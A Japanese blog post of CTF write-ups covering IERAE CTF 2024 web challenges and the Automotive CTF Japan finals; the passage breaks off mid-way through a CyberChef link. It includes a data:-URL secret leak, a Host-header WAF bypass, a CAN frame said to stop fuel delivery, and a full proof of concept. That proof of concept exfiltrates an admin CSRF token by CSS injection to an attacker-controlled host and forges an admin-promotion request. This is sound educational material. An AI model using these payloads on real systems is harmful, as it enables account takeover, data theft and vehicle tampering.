はまやんはまやんはまやん

hamayanhamayan's blog

IERAE CTF 2024 Writeups

https://ctftime.org/event/2441

チームhamayanhamayanのhamayanhamayanです。

[misc] OMG

アクセスすると

Let's press the browser back button 33 times. / 戻るボタンを33回押そう!

と言われる。とりあえず、Burpを開いてソースコードを読むと、GET /に以下のような記載がある。

if (e.state.i == 0) {
    cntdwn.innerText = atob("SUVSQUV7VHIzbmR5XzRkcy5MT0x9");
    init();
}

いかにも怪しいので、選択するとInspectorで自動でbase64デコードされてフラグが出てきた。

[web] Futari APIs

ソースコード有り。javascriptで書かれたサイトが与えられ、2つのサーバーが立てられている。

1つはfrontend.tsで、外部にポートが開放されているサイト。入力を元にuser-search.ts側にリクエストを飛ばして通信を中継する。ソースコードは以下。

const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const USER_SEARCH_API: string = Deno.env.get("USER_SEARCH_API") ||
  "http://user-search:3000";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");

async function searchUser(user: string, userSearchAPI: string) {
  const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
  return await fetch(uri);
}

async function handler(req: Request): Promise<Response> {
  const url = new URL(req.url);
  switch (url.pathname) {
    case "/search": {
      const user = url.searchParams.get("user") || "";
      return await searchUser(user, USER_SEARCH_API);
    }
    default:
      return new Response("Not found.");
  }
}

Deno.serve({ port: PORT, handler });

2つ目はuser-search.tsでバックエンドでユーザー検索を行うサイト。実装は以下の形。

type User = {
  name: string;
};

const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");

const users = new Map<string, User>();
users.set("peroro", { name: "Peroro sama" });
users.set("wavecat", { name: "Wave Cat" });
users.set("nicholai", { name: "Mr.Nicholai" });
users.set("bigbrother", { name: "Big Brother" });
users.set("pinkypaca", { name: "Pinky Paca" });
users.set("adelie", { name: "Angry Adelie" });
users.set("skullman", { name: "Skullman" });

function search(id: string) {
  const user = users.get(id);
  return user;
}

function handler(req: Request): Response {
  // API format is /:id
  const url = new URL(req.url);
  const id = url.pathname.slice(1);
  const apiKey = url.searchParams.get("apiKey") || "";

  if (apiKey !== FLAG) {
    return new Response("Invalid API Key.");
  }

  const user = search(id);
  if (!user) {
    return new Response("User not found.");
  }

  return new Response(`User ${user.name} found.`);
}

Deno.serve({ port: PORT, handler });

フラグは、2つのサーバ間での認証のために使われている。FLAGが使われている箇所を見てみて、怪しい部分は無いだろうか。

new URLでプロトコルを変える

色々試した結果、以下の部分が攻撃できた。

const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);

URLに含まれるフラグを取得する必要があるのだが、URLに含まれる入力をそのまま出力させると言えば… dataプロトコルですね。URLクラスは結構色々できることが知られているので、色々ガチャガチャやっていると、/search?user=data:text/html,でフラグが送り返されてきた。

Denoで試すと以下のような感じ。

$ deno
Deno 1.44.2
exit using ctrl+d, ctrl+c, or close()
REPL is running with all permissions allowed.
To specify permissions, run `deno repl` with allow flags.
> const user = "data:text/html,";
undefined
> const FLAG = "IERAE{dummy}";
undefined
> const userSearchAPI = "http://user-search:3000";
undefined
> new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
URL {
  href: "data:text/html,?apiKey=IERAE{dummy}",
  origin: "null",
  protocol: "data:",
  username: "",
  password: "",
  host: "",
  hostname: "",
  port: "",
  pathname: "text/html,",
  hash: "",
  search: "?apiKey=IERAE{dummy}"
}

このように、httpをdataプロトコルに変換することができ、そのままURLの内容を折り返すことができる。

[web] Great Management Opener

ソースコード有り。pythonで書かれたサイトとadmin botが与えられる。

Admin bot

Admin botから見てみよう。

const TIMEOUT_SECONDS = 30; // 本番では50に引き上げられていた[redacted]export const visit = async (url) => {
  console.log(`start: ${url}`);

  const browser = await puppeteer.launch({
    headless: "new",
    executablePath: "/usr/bin/chromium",
    args: [
      "--no-sandbox",
      "--disable-dev-shm-usage",
      "--disable-gpu",
      '--js-flags="--noexpose_wasm"',
    ],
  });

  const context = await browser.createBrowserContext();

  try {
    // Login with admin user
    const page = await context.newPage();
    await page.goto(`${APP_URL}/login`, { timeout: 3000 });
    await page.waitForSelector("#username");
    await page.type("#username", APP_ADMIN_USERNAME);
    await page.waitForSelector("#password");
    await page.type("#password", APP_ADMIN_PASSWORD);
    await page.click("button[type=submit]");
    await sleep(1 * 1000);

    await page.goto(url, { timeout: 3000 });
    await sleep(TIMEOUT_SECONDS * 1000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

  await context.close();
  await browser.close();

  console.log(`end: ${url}`);
};

Adminとしてログインした後、30秒間(本番では50秒間)sleepが入って終了する。XS-Leak的な手法が求められている雰囲気がある。Cookieにフラグが無いのでXSSという訳ではなさそうだ。

フラグの場所と目標

フラグの場所を確認すると以下にある。

@app.route('/admin/flag')
@login_required
@admin_required
def admin_flag():
    return app.config['FLAG']

実装は省略するが@admin_requiredとあるようにadminであればアクセスが可能である。adminアカウントは環境が立ち上がった段階で作成されて、Admin Botはadminアカウントでログインしてから、指定のURLを開くのだが、実はもう1つadminになれる方法があり、以下の部分。

@app.route('/admin', methods=['GET', 'POST'])
@login_required
@admin_required
def admin():
    if request.method == 'POST':
        username = request.form.get('username')
        csrf_token = request.form.get('csrf_token')

        if not username or len(username) < 8 or len(username) > 20:
            return redirect(url_for('admin', message='Username should be between 8 and 20 characters long'))

        if not csrf_token or csrf_token != session.get('csrf_token'):
            return redirect(url_for('admin', message='Invalid csrf_token'))

        user = User.query.filter_by(username=username).first()
        if not user:
            return redirect(url_for('admin', message='Not found username'))

        user.is_admin = True
        db.session.commit()
        return redirect(url_for('admin', message='Success make admin!'))
    return render_template('admin.jinja2', csrf_token=session.get('csrf_token'))

こちらも同様にadminアカウントが必要になるが、特定のユーザーを指定してadminに昇格させることができる。Admin Botを使ってここにアクセスさせ、自分で作ったユーザーをadminに昇格させることでフラグが手に入れられそうだ。

うまくやればAdmin BotでPOST通信を発生させることはできるが、csrf_tokenが必要になる。このトークンはログイン時に発行されてセッションに保管されている。login関数のsession["csrf_token"] = os.urandom(16).hex()の部分である。なので、もう少しbreakdownすると、csrf_tokenを手に入れることができれば、admin関数を使うことができるということになる。

csrf_tokenをどう取得するか。

埋め込み点

何か他に使える脆弱性が無いか探してみると、base.jinja2にHTML Injection出来そうな箇所が存在する。

{% if request.args.get('message') %}
    <div class="alert alert-secondary mt-3">
        {{ request.args.get('message')|truncate(64, True) }}
    </div>
{% endif %}

これはどのページでも使われる部分で、任意のサイトで?message=<s>injectionのようにするとHTMLタグが埋め込まれることが確認できる。だが、__init__.pyでCSPが設定されているため、XSSまでつなげることができない。

response.headers['Content-Security-Policy'] = (
    "script-src 'self'; "
    "style-src * 'unsafe-inline'; "
)

style-srcに関する設定が大分緩いことに気が付く。CSS Injectionは可能なようだ。

Blind CSS Injection / XS-Leaks with CSS Injection

探してみると意外と日本語資料が無い。XS-Leaks系が初めてという方はCTFで出題されたXS-Leaksが非常に良いのでオススメ。(Blind CSS Injectionとも呼ばれている気もするが、概念としてはXS-Leaksの方がキチンと包含していそうな気もする。)

csrf_tokenを取得するために、Blind CSS Injectionが利用できる。以下のようなCSSを埋め込むことを考える。

input[type=hidden][value^="0"]+div {{ background: url("http://[yoursite].example/leak?otp=0"); }}
input[type=hidden][value^="1"]+div {{ background: url("http://[yoursite].example/leak?otp=1"); }}
input[type=hidden][value^="2"]+div {{ background: url("http://[yoursite].example/leak?otp=2"); }}
...
input[type=hidden][value^="e"]+div {{ background: url("http://[yoursite].example/leak?otp=e"); }}
input[type=hidden][value^="f"]+div {{ background: url("http://[yoursite].example/leak?otp=f"); }}

これを埋め込むと、csrf_tokenは<input type="hidden" name="csrf_token" value="7efe1184567de57ef4509e2778d8a253">のようにHTMLに存在するので、valueの先頭が合うCSSが発動することになる。つまり、今回は7から始まっているので、http://[yoursite].example/leak?otp=7のような通信が発生し、最初が7から始まることを検知することができる。

これを繰り返して先頭から順にhexの32文字から成るトークンを特定して、それを使ってPOST /adminをするという方針で解いていく。

まず、適当に以上のようなCSSを返すエンドポイントを用意してホストしておく。この時、base.jinja2の埋め込み先の文字数制限に注意しておく必要があり、{{ request.args.get('message')|truncate(64, True) }}のように64文字制限がある。なので、ngrokなどでURLを作ると64文字に収まらなくなるので、自分は適当にVPSを借りてIPアドレスで指定した。

HTMLインジェクションでCSS読み込みを埋め込むときは以下のようにやればいい。

/admin?message=<link%20rel='stylesheet'%20href='http://[your-ip-address]/v1'%20/>

linkタグを使って埋め込んでいる。これでhttp://[your-ip-address]/v1にアクセスしてCSSを読み込んで適用してくれる。これで1回分は読み取ることができる。

自動化する

Blind CSS Injectionによる読み取りは32回繰り返す必要がある。よって、Admin Botに1回文のpayloadをそのまま踏ませるのではなく、踏み台のサイトを用意して32回踏ませることにする。具体的には以下のようなHTMLページを何処かでホストして踏ませる。

<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    setTimeout(async () => {{
        for (let i = 0; i < 32; i++) {{
            open("http://web:5000/admin?message=<link%20rel='stylesheet'%20href='http://[your-ip-address]/v1'%20/>");
            await sleep(2 * 1000);
        }}
    }}, 0);
</script>

/v1/leakについてはFlaskで(不要な部分をかなり省略しているが)以下のように実装した。

OTP = ''

@app.route('/v1')
def v1():
    global OTP
    css = ''
    for c in "0123456789abcdef":
        css += f'input[type=hidden][value^="{OTP}{c}"]+div {{ background: url("{HOST}/leak?otp={OTP}{c}"); }}\n'
    return css, 200, {'Content-Type': 'text/css'}

@app.route('/leak')
def leak():
    global OTP
    OTP = request.args['otp']
    print(OTP)
    return 'OK'

これで/v1CSSを返し、その結果を/leakで受け取り、内部的にtokenを更新して、また次に/v1が呼ばれたら次の文字を加えてCSSを返し…ということをする。これでトークンをすべて一度に取得することができる。

本番では、これでは遅かったので一度に2文字ずつ抜き取るような実装を最終的には使った。最後にPoCをすべて載せるが、/v2が2文字ずつ抜き取るバージョンである。

全てを繋げる

これで準備が整った。

  1. [手動で] adminに昇格したいユーザーを作成する
  2. [Admin Bot経由で] PoCコードを使い、adminユーザーのcsrf_tokenを盗み、先ほど作ったユーザーをadminに昇格させる
  3. [手動で] 作ったユーザーでログインして/admin/flagにアクセスするとフラグが手に入る

PoCコードは最終的に以下のようになる。

# https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection

from flask import Flask, request
import string
import time

app = Flask(__name__)

HOST = 'http://[victim-server]'
OTP = ''

BASE = 'http://web:5000'
@app.route('/entry')
def entry():
    html = f'''
<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    setTimeout(async () => {{
        for (let i = 0; i < 32 / 2; i++) {{
            open("{BASE}/admin?message=<link%20rel='stylesheet'%20href='{HOST}/v2'%20/>");
            await sleep(2 * 1000);
        }}
        open("{HOST}/gogo");
    }}, 0);
</script>
'''
    return html, 200, {'Content-Type': 'text/html'}

USERNAME = '[your-username]'
@app.route('/gogo')
def gogo():
    global OTP
    html = f'''
<form id=form target=poc action="{BASE}/admin" method="POST">
    <input name="username" value="{USERNAME}">
    <input name="csrf_token" value="{OTP}">
    <button>submit</button>
</form>
<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    setTimeout(async () => {{
        var win = open('about:blank', 'poc');
        form.submit();
    }}, 0);
</script>
'''
    return html, 200, {'Content-Type': 'text/html'}

@app.route('/v2')
def v2():
    global OTP
    css = ''
    for c1 in "0123456789abcdef":
        for c2 in "0123456789abcdef":
            css += f'input[type=hidden][value^="{OTP}{c1}{c2}"]+div {{ background: url("{HOST}/leak?otp={OTP}{c1}{c2}"); }}\n'
    return css, 200, {'Content-Type': 'text/css'}

@app.route('/leak')
def leak():
    global OTP
    OTP = request.args['otp']
    print(OTP)
    return 'OK'


if __name__ == '__main__':
    app.run(host='::', port=80)

[web] babewaf

ソースコード有り。javascriptで書かれたプロキシサーバーとバックエンドサーバーが与えられる。

プロキシサーバーは以下のように実装されていて、かなり読みやすい。

const express = require("express");
const { createProxyMiddleware } = require("http-proxy-middleware");

const app = express();
const BACKEND = process.env.BACKEND;

app.use((req, res, next) => {
  if (req.url.indexOf("%") !== -1) {
    res.send("no hack :)");
  }
  if (req.url.indexOf("flag") !== -1) {
    res.send("🚩");
  }
  next();
});

app.get(
  "*",
  createProxyMiddleware({
    target: BACKEND,
  }),
);

app.listen(3000);

%とflagがURLに入っていると弾かれる。後ろのbackendサーバーへはhttp-proxy-middlewareを使って転送している。

バックエンドサーバーもかなり簡潔。DenoとHonoで構築されている。

import { Hono } from 'hono'
import { serveStatic } from 'hono/deno'

const app = new Hono()
const FLAG = Deno.env.get("FLAG");

app.get('/', serveStatic({ path: './index.html' }))

app.get('/givemeflag', (c) => {
  return c.text(FLAG)
})

export default app

GET /givemeflagができればフラグがもらえる。だが、これはプロキシサーバーでブロックされていてアクセスできない。

http-proxy-middlewareを怪しむ

ここからひたすら頭を打ち付けて解く。Honoのルーティングの挙動で何かが起こるか…とも考えたが、書き方も一般的で大文字小文字とかユニコードガチャぐらいしか方針が思い浮かばない。よって、http-proxy-middlewareを叩くことにした。(…というより、叩くことにしたら解けた)

最初はX-Forwarded-Prefixみたいなヘッダーで変換ができないか色々試したがダメだった。次に、それほど量もなさそうだったので、http-proxy-middlewareのコードを全部眺めることにした。使えそうなコードが無いか探すと面白いものがあった。

https://github.com/chimurai/http-proxy-middleware/blob/master/src/plugins/default/logger-plugin.ts#L23-L26

  proxyServer.on('error', (err, req, res, target?) => {
    const hostname = req?.headers?.host;
    const requestHref = `${hostname}${req?.url}`;
    const targetHref = `${(target as unknown as any)?.href}`; // target is undefined when websocket errors

Hostヘッダーを利用している!この部分が実際の変換処理で使われているか分からないが実験してみる。バックエンド側のサーバーを以下のように書き換えて変換を見てみる。

app.get('*', (c) => {
  return c.text(c.req.path)
})

これでガチャガチャやっていると、

GET /fuga HTTP/1.1
Host: http://hoge/


-> 

//hoge//fuga

というのが出てきた。勝ち筋が見えてきて、ここから更にガチャガチャやって最終的に以下のようなリクエストでフラグが得られた。バックエンドには/givemeflag?/のようにして渡される。

GET / HTTP/1.1
Host: http:/givemeflag?
Connection: keep-alive

Automotive CTF Japan 決勝 Writeup

Automotive CTF Japan 予選 Writeup - はまやんはまやんはまやんの国内決勝。TeamONEとして出場し、2位でアメリカ決勝進出! チームメンバーのWriteup 1 2 3

xNexux

予選同様、xNexusというVSOCプラットフォームが与えられて、設問に答えていく。

CAN Bus Anomaly #1

xNexusでCAN ID 0x3B9と0x3D1のCANバス異常を追跡して、その脆弱性IDを特定してください。ハッカーが通常参照するものを適切なフラグ形式で提出してください。

脆弱性ID、ハッカーが通常参照するものということでCVEだろう。cve 3b9 3d1で検索すると検索結果の1番目に出てくる。bh{CVE-2022-26269}で正解。

CAN Bus Anomaly #2

おっと、誰かが車両の全シリンダーへの燃料供給を停止するCANフレームを送信しています。完全なCANフレームを提供してください。 フラグ形式の例:bh{1337#0201}

フラグ形式にあるものはcandumpとかで出力されるSocketCAN compact形式と似ているので、その形式で書くように答えよということだろう。

xNexusのOAT検出で記録されているCANのログデータを見ていくと予選で見たようなログが残っており、xNexuxの環境はそのまま使っていてログを追加しているようだった。つまり、ID的には2127827以降を見れば十分だろうということでログを絞って確認していった。するとCAN IDは10通りに絞られる。

  • 000 -> 全部0で何かしている感じは無い
  • 094,645,760,768 -> 予選でも出てきたし、中身も同じ。
  • 0b6 -> 0x010001を1回送信
  • 3b9 -> 色んなcandataを送っている
  • 3d1 -> 色んなcandataを送っている
  • 7df -> 0x0201を複数回送信
  • 7e0 -> 色んなcandataを送っている

という感じ。とりあえずcandataの種類が1種類しかない0b6と7dfを送ってみるが違う。CAN IDでググってみると、こういうQiitaが見つかり、0x7fdか0x7e0か?という感じになる、7dfは既に試しているので7e0か?

7e0でググってみるもよさそうな情報が見当たらず、7e0は10種類くらいcandataのバリエーションがあったが、とりあえず出してみるかと一番多く記録されていた06301c000fa50100をあてずっぽうで出すと正答だった。

bh{7e0#06301c000fa50100}が正解。

RAMN

RAMNという機器が与えられるので、問いに答えていく問題群。決勝の問題のほとんどを占めていた。

[ECU C] Noiseless

この問題、本質的な部分は全く何もしておらず、自分がポイント泥棒をした問題。CANとSteganographyのタグが付いていた。問題文は以下。

ブレーキのCANメッセージの最下位ビットはノイズではありません。
注意: 1分間のCANメッセージログにフラグを取得するために必要なすべてが含まれています。

自分がこの問題に取り組み始めた段階で既に問題を解くカギは既に揃っていた。

laysakuraさんが既に1分間分のCANメッセージをダンプしてチーム内共有してくれていた。
beaさんから問題の概要を教えてもらい、ダンプを受け取る。
kusanoさんからブレーキのCAN IDは007ですと教えてもらう。
tkitoさんからCAN IDが007であるときのcandataのフォーマットを教えてもらう。

02 83 6E F0 7B 06 FD 2E
だと
02 -> 忘れた。固定
83 -> 忘れたが、80,81,82,83になってる
6E F0 -> カウンター(ログを見ても順番にインクリメントされている)
7B 06 FD 2E -> CRC

ということでフォーマット上は2バイト目くらいしか恣意的に何かを埋め込めそうな所が無い。

kusanoさん「2バイト目の最下位ビットを持ってきてやればよさそうなんですよね~」
hamayanhamayan「実装しますね!」

https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Regex','string':','%7D,'',true,false,true,false)Find_/_Replace(%7B'option':'Regex','string':'0x80'%7D,'0',true,false,true,false)Find_/_Replace(%7B'option':'Regex','string':'0x81'%7D,'1',true,false,true,false)Find_/_Replace(%7B'option':'Regex','string':'0x83'%7D,'1',true,false,true,false)Find_/_Replace(%7B'option':'Regex','string':'0x82'%7D,'0',true,false,true,false)From_Binary('Space',8)&input=MHg4MCwweDgxLDB4ODIsMHg4MiwweDgzLDB4ODEsMHg4MSwweDgyLDB4ODIsMHg4MywweDgyLDB4ODMsMHg4MiwweDgxLDB4ODAsMHg4MCwweDgyLDB4ODMsMHg4MywweDgzLDB4ODMsMHg4MywweDgyLDB4ODEsMHg4MCwweDgxLDB4ODEsMHg4MiwweDgyLDB4ODIsMHg4MSwweDgyLDB4ODAsMHg4MywweDgxLDB4ODIsMHg4MywweDgwLDB4ODAsMHg4MCwweDgyLDB4ODEsMHg4MywweDgzLDB4ODMsMHg4MiwweDgzLDB4ODEsMHg4MCwweDgzLDB4ODAsMHg4MiwweDgxLDB4ODIsMHg4MywweDgwLDB4ODIsMHg4MiwweDgxLDB4ODMsMHg4MiwweDgwLDB4ODAsMHg4MCwweDgwLDB4ODMsMHg4MCwweDgyLDB4ODEsMHg4MCwweDgzLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MiwweDgwLDB4ODEsMHg4MiwweDgxLDB4ODAsMHg4MywweDgwLDB4ODEsMHg4MywweDgxLDB4ODEsMHg4MywweDgwLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MiwweDgwLDB4ODIsMHg4MiwweDgzLDB4ODIsMHg4MiwweDgzLDB4ODAsMHg4MCwweDgxLDB4ODAsMHg4MywweDgxLDB4ODEsMHg4MCwweDgyLDB4ODAsMHg4MSwweDgwLDB4ODEsMHg4MywweDgxLDB4ODIsMHg4MywweDgwLDB4ODMsMHg4MiwweDgzLDB4ODAsMHg4MCwweDgwLDB4ODIsMHg4MCwweDgzLDB4ODIsMHg4MywweDgwLDB4ODIsMHg4MywweDgxLDB4ODMsMHg4MiwweDgwLDB4ODMsMHg4MCwweDgzLDB4ODAsMHg4MywweDgwLDB4ODIsMHg4MCwweDgzLDB4ODMsMHg4MSwweDgxLDB4ODMsMHg4MCwweDgzLDB4ODIsMHg4MSwweDgzLDB4ODIsMHg4MiwweDgwLDB4ODEsMHg4MiwweDgwLDB4ODEsMHg4MywweDgwLDB4ODEsMHg4MiwweDgwLDB4ODIsMHg4MCwweDgxLDB4ODEsMHg4MSwweDgxLDB4ODIsMHg4MSwweDgzLDB4ODAsMHg4MSwweDgwLDB4ODAsMHg4MSwweDgwLDB4ODEsMHg4MCwweDgyLDB4ODAsMHg4MywweDgxLDB4ODIsMHg4MCwweDgyLDB4ODAsMHg4MCwweDgxLDB4ODAsMHg4MiwweDgxLDB4ODAsMHg4MywweDgzLDB4ODIsMHg4MSwweDgyLDB4ODIsMHg4MiwweDgzLDB4ODAsMHg4MywweDgyLDB4ODMsMHg4MCwweDgzLDB4ODMsMHg4MywweDgzLDB4ODMsMHg4MCwweDgxLDB4ODAsMHg4MywweDgyLDB4ODIsMHg4MiwweDgyLDB4ODIsMHg4MywweDgyLDB4ODIsMHg4MywweDgwLDB4ODIsMHg4MywweDgyLDB4ODMsMHg4MSwweDgzLDB4ODAsMHg4MiwweDgwLDB4ODMsMHg4MiwweDgzLDB4ODEsMHg4MSwweDgyLDB4ODEsMHg4MCwweDgxLDB4ODAsMHg4MywweDgwLDB4ODAsMHg4MiwweDgyLDB4ODIsMHg4MywweDgyLDB4ODEsMHg4MCwweDgwLDB4ODEsMHg4MSwweDgzLDB4ODAsMHg4MCwweDgxLDB4ODIsMHg4MSwweDgwLDB4ODEsMHg4MiwweDgyLDB4ODIsMHg4MywweDgzLDB4ODEsMHg4MywweDgzLDB4ODAsMHg4MywweDgwLDB4ODMsMHg4MSwweDgyLDB4ODAsMHg4MCwweDgzLDB4ODIsMHg4MCwweDgzLDB4ODMsMHg4MCwweDgzLDB4ODIsMHg4MCwweDgwLDB4ODIsMHg4MywweDgxLDB4ODMsMHg4MSwweDgwLDB4ODMsMHg4MywweDgyLDB4ODEsMHg4MCwweDgyLDB4ODMsMHg4MCwweDgzLDB4ODAsMHg4MCwweDgyLDB4ODEsMHg4MywweDgyLDB4ODAsMHg4MiwweDgwLDB4ODIsMHg4MSwweDgwLDB4ODIsMHg4MywweDgyLDB4ODMsMHg4MSwweDgwLDB4ODEsMHg4MCwweDgwLDB4ODIsMHg4MywweDgyLDB4ODEsMHg4MCwweDgxLDB4ODAsMHg4MSwweDgzLDB4ODEsMHg4MSwweDgxLDB4ODAsMHg4MywweDgyLDB4ODEsMHg4MiwweDgyLDB4ODAsMHg4MCwweDgyLDB4ODEsMHg4MCwweDgwLDB4ODMsMHg4MCwweDgyLDB4ODEsMHg4MCwweDgzLDB4ODEsMHg4MywweDgwLDB4ODIsMHg4MCwweDgzLDB4ODAsMHg4MSwweDgzLDB4ODMsMHg4MCwweDgzLDB4ODAsMHg4MywweDgyLDB4ODEsMHg4MCwweDgyLDB4ODIsMHg4MCwweDgyLDB4ODMsMHg4MCwweDgxLDB4ODIsMHg4MiwweDgxLDB4ODMsMHg4MSwweDgwLDB4ODIsMHg4MywweDgwLDB4ODMsMHg4MCwweDgzLDB4ODIsMHg4MCwweDgwLDB4ODMsMHg4MywweDgzLDB4ODEsMHg4MSwweDgyLDB4ODMsMHg4MCwweDgxLDB4ODEsMHg4MCwweDgwLDB4ODAsMHg4MywweDgyLDB4ODIsMHg4MywweDgzLDB4ODIsMHg4MSwweDgwLDB4ODIsMHg4MiwweDgyLDB4ODEsMHg4MSwweDgzLDB4ODMsMHg4MiwweDgzLDB4ODEsMHg4MiwweDgxLDB4ODIsMHg4MCwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MCwweDgxLDB4ODEsMHg4MCwweDgyLDB4ODIsMHg4MiwweDgwLDB4ODMsMHg4MCwweDgyLDB4ODMsMHg4MCwweDgxLDB4ODMsMHg4MCwweDgxLDB4ODAsMHg4MiwweDgyLDB4ODEsMHg4MiwweDgzLDB4ODAsMHg4MywweDgyLDB4ODEsMHg4MywweDgzLDB4ODMsMHg4MSwweDgyLDB4ODMsMHg4MCwweDgzLDB4ODAsMHg4MiwweDgyLDB4ODAsMHg4MiwweDgzLDB4ODAsMHg4MCwweDgxLDB4ODIsMHg4MCwweDgzLDB4ODIsMHg4MywweDgxLDB4ODMsMHg4MCwweDgyLDB4ODAsMHg4MSwweDgwLDB4ODEsMHg4MywweDgxLDB4ODAsMHg4MSwweDgyLDB4ODMsMHg4MiwweDgzLDB4ODIsMHg4MiwweDgwLDB4ODIsMHg4MiwweDgzLDB4ODAsMHg4MywweDgyLDB4ODAsMHg4MSwweDgxLDB4ODMsMHg4MiwweDgwLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MSwweDgwLDB4ODAsMHg4MCwweDgzLDB4ODMsMHg4MywweDgxLDB4ODMsMHg4MiwweDgxLDB4ODIsMHg4MywweDgzLDB4ODAsMHg4MiwweDgwLDB4ODMsMHg4MiwweDgwLDB4ODMsMHg4MSwweDgwLDB4ODMsMHg4MiwweDgwLDB4ODIsMHg4MiwweDgzLDB4ODMsMHg4MSwweDgzLDB4ODAsMHg4MSwweDgzLDB4ODIsMHg4MywweDgyLDB4ODAsMHg4MywweDgwLDB4ODMsMHg4MCwweDgwLDB4ODAsMHg4MywweDgzLDB4ODAsMHg4MCwweDgyLDB4ODAsMHg4MCwweDgzLDB4ODIsMHg4MCwweDgxLDB4ODIsMHg4MSwweDgzLDB4ODAsMHg4MywweDgyLDB4ODAsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgwLDB4ODEsMHg4MiwweDgzLDB4ODEsMHg4MywweDgxLDB4ODMsMHg4MiwweDgzLDB4ODAsMHg4MSwweDgyLDB4ODAsMHg4MiwweDgwLDB4ODIsMHg4MSwweDgwLDB4ODIsMHg4MSwweDgyLDB4ODIsMHg4MSwweDgyLDB4ODEsMHg4MSwweDgzLDB4ODIsMHg4MiwweDgyLDB4ODMsMHg4MiwweDgxLDB4ODEsMHg4MywweDgyLDB4ODEsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgwLDB4ODIsMHg4MCwweDgwLDB4ODAsMHg4MywweDgwLDB4ODEsMHg4MiwweDgyLDB4ODMsMHg4MSwweDgzLDB4ODAsMHg4MiwweDgzLDB4ODIsMHg4MywweDgwLDB4ODEsMHg4MiwweDgyLDB4ODAsMHg4MywweDgxLDB4ODMsMHg4MywweDgxLDB4ODIsMHg4MSwweDgyLDB4ODMsMHg4MSwweDgwLDB4ODIsMHg4MiwweDgzLDB4ODIsMHg4MCwweDgzLDB4ODEsMHg4MCwweDgzLDB4ODAsMHg4MiwweDgwLDB4ODIsMHg4MywweDgxLDB4ODEsMHg4MywweDgwLDB4ODMsMHg4MSwweDgwLDB4ODMsMHg4MCwweDgwLDB4ODEsMHg4MCwweDgzLDB4ODAsMHg4MCwweDgyLDB4ODMsMHg4MywweDgyLDB4ODIsMHg4MCwweDgwLDB4ODIsMHg4MywweDgyLDB4ODIsMHg4MSwweDgyLDB4ODMsMHg4MywweDgwLDB4ODEsMHg4MiwweDgwLDB4ODIsMHg4MSwweDgyLDB4ODMsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgxLDB4ODEsMHg4MywweDgxLDB4ODIsMHg4MSwweDgwLDB4ODMsMHg4MiwweDgyLDB4ODAsMHg4MiwweDgwLDB4ODEsMHg4MiwweDgwLDB4ODEsMHg4MCwweDgyLDB4ODMsMHg4MCwweDgzLDB4ODEsMHg4MywweDgyLDB4ODIsMHg4MCwweDgxLDB4ODIsMHg4MywweDgzLDB4ODMsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgwLDB4ODMsMHg4MCwweDgyLDB4ODIsMHg4MiwweDgyLDB4ODMsMHg4MCwweDgxLDB4ODAsMHg4MCwweDgxLDB4ODEsMHg4MSwweDgwLDB4ODAsMHg4MSwweDgyLDB4ODMsMHg4MiwweDgzLDB4ODAsMHg4MCwweDgyLDB4ODMsMHg4MywweDgxLDB4ODMsMHg4MSwweDgyLDB4ODMsMHg4MCwweDgxLDB4ODMsMHg4MiwweDgyLDB4ODAsMHg4MywweDgwLDB4ODAsMHg4MywweDgxLDB4ODAsMHg4MywweDgwLDB4ODAsMHg4MCwweDgwLDB4ODMsMHg4MSwweDgxLDB4ODMsMHg4MiwweDgzLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MiwweDgxLDB4ODIsMHg4MywweDgwLDB4ODIsMHg4MiwweDgxLDB4ODEsMHg4MiwweDgwLDB4ODAsMHg4MiwweDgyLDB4ODEsMHg4MiwweDgwLDB4ODMsMHg4MiwweDgxLDB4ODMsMHg4MiwweDgxLDB4ODIsMHg4MiwweDgyLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MywweDgyLDB4ODEsMHg4MSwweDgzLDB4ODMsMHg4MywweDgwLDB4ODEsMHg4MiwweDgzLDB4ODAsMHg4MCwweDgwLDB4ODIsMHg4MiwweDgzLDB4ODIsMHg4MiwweDgzLDB4ODIsMHg4MCwweDgzLDB4ODAsMHg4MSwweDgzLDB4ODEsMHg4MCwweDgwLDB4ODIsMHg4MSwweDgwLDB4ODEsMHg4MSwweDgzLDB4ODIsMHg4MSwweDgyLDB4ODMsMHg4MCwweDgxLDB4ODIsMHg4MiwweDgyLDB4ODIsMHg4MiwweDgzLDB4ODAsMHg4MywweDgyLDB4ODIsMHg4MywweDgzLDB4ODEsMHg4MiwweDgwLDB4ODMsMHg4MiwweDgxLDB4ODIsMHg4MywweDgyLDB4ODIsMHg4MiwweDgzLDB4ODMsMHg4MywweDgxLDB4ODEsMHg4MiwweDgxLDB4ODAsMHg4MywweDgxLDB4ODIsMHg4MCwweDgwLDB4ODEsMHg4MiwweDgyLDB4ODMsMHg4MywweDgwLDB4ODEsMHg4MiwweDgyLDB4ODAsMHg4MCwweDgxLDB4ODEsMHg4MSwweDgxLDB4ODIsMHg4MywweDgxLDB4ODAsMHg4MywweDgyLDB4ODIsMHg4MSwweDgyLDB4ODMsMHg4MiwweDgyLDB4ODIsMHg4MywweDgxLDB4ODIsMHg4MiwweDgyLDB4ODIsMHg4MiwweDgzLDB4ODIsMHg4MiwweDgxLDB4ODAsMHg4MSwweDgzLDB4ODAsMHg4MywweDgyLDB4ODAsMHg4MCwweDgzLDB4ODIsMHg4MywweDgwLDB4ODEsMHg4MiwweDgzLDB4ODMsMHg4MywweDgxLDB4ODMsMHg4M